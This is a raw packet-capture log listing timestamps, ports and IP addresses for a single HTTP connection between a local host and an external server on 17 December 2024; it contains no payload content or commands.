Dec 17, 2024 22:06:24.687897921 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.687973022 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.688018084 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.688961029 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.689008951 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.689299107 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.689341068 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.689959049 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.689991951 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.690004110 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.690023899 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.690932989 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.690979958 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.690987110 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.691029072 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.691052914 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.691971064 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.691991091 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.692015886 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.692029953 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.693053007 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.693095922 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.693120956 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.693156004 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.693952084 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.693972111 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.693996906 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.694009066 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.694937944 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.694988012 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.695060968 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.695096970 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.695931911 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.695976973 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.696166992 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.696202040 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.696943045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.696984053 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.697134018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.697168112 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.697931051 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.697969913 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.837879896 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.837975979 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.838392973 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.838412046 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.838430882 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.838435888 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.838459015 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.838474989 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.839346886 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.839404106 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.839411974 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.839443922 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.840337992 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.840393066 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.840400934 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.840439081 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.841363907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.841409922 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.841443062 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.841480017 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.842374086 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.842417955 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.842678070 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.842717886 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.843374968 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.843394041 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.843417883 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.843434095 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.844428062 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.844495058 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.844547987 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.845375061 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.845963955 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.846034050 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.846390009 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.846407890 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.846457005 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.847441912 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.847460985 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.847495079 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.847526073 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.848407030 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.848453999 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.848469973 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.848517895 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.849348068 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.849399090 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.849468946 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.849509001 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.850450039 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.850492001 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.850531101 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.850565910 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.851393938 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.851438046 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.851594925 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.851636887 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.852391958 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.852435112 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.852679014 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.852727890 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.853379965 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.853436947 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.853758097 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.853799105 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.854466915 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.854510069 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.854577065 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.854614973 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.855376959 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.855422974 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.855601072 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.855671883 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.856379032 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.856424093 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.857018948 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.857062101 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.857393980 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.857438087 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.857496977 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.857537031 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.858477116 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.858520985 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.858753920 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.858795881 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.859450102 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.859468937 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.859494925 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.859508991 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.860435963 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.860455036 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.860502005 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.861408949 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.861428022 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.861474037 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.862489939 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.862509966 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.862534046 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.862555981 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.863420963 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.863575935 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.863641024 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.864411116 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.864428997 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.864480972 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.865364075 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.865459919 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.865577936 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.866381884 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.866435051 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.866533041 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.866950035 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.867410898 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.867449999 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.867511988 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.868412971 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.868432999 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.868455887 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.868479967 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.869412899 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.869497061 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.869544029 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.870460987 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.870529890 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.870573997 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.871428967 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.871504068 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.871547937 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.872432947 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.872474909 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.872513056 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.873421907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.873466015 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.873574018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.874387980 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.874433041 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.874495983 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.874530077 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.875422001 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.875464916 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.875552893 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.876401901 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.876451015 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.876457930 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.876492977 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.877465963 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.877485991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.877521038 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.877536058 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.878494978 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.878514051 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.878566980 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.879411936 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.879642963 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.879693985 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.880389929 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.880624056 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.880677938 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.881472111 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.881511927 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.881556988 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.882442951 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.882462978 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.882509947 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.883444071 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.883464098 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.883513927 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.884460926 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.884488106 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.884530067 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.885445118 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.885518074 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.885564089 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.886701107 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.886769056 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.886817932 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.887810946 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.887861967 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.887959957 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.888050079 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.888813972 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.888870955 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.888921976 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.889014006 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.889708996 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.889760971 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.889828920 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.889868975 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:24.890579939 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:24.890631914 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.032401085 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.032424927 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.032505035 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.032779932 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.033006907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.033051968 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.033740044 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.033756971 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.033795118 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.034720898 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.034799099 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.034841061 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.035788059 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.035888910 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.035932064 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.036815882 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.037239075 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.037281990 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.037699938 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.037844896 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.037894964 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.038685083 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.038702011 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.038727999 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.038769960 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.039752960 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.039769888 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.039813042 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.040683985 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.040828943 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.040919065 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.042134047 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.042150021 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.042187929 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.042960882 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.042978048 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.043019056 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.044163942 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.044183969 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.044205904 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.044235945 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.044905901 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.044924021 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.044964075 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.045773983 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.045936108 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.045978069 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.046675920 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.046849012 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.046892881 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.047755003 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.047816992 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.047868013 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.048758984 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.049177885 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.049221039 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.049652100 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.049983025 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.050024033 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.050678015 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.050941944 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.050941944 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.050980091 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.051719904 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.051762104 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.051842928 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.052747011 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.052788019 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.052884102 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.053755045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.053808928 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.055056095 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.057723999 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.057749033 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.057771921 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.057776928 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.057787895 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.057800055 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.057817936 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.057837963 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.058023930 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.058041096 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.058160067 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.058160067 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.059051991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.059078932 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.059134960 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.060106039 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.060125113 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.060179949 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.061172962 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.061228991 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.061300039 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.062040091 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.062055111 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.062097073 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.062134027 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.062865973 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.062915087 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.063008070 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.063241005 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.063254118 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.063407898 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.063766003 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.063779116 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.063822985 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.064750910 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.064763069 CET	80	49793	31.41.244.11	192.168.2.4
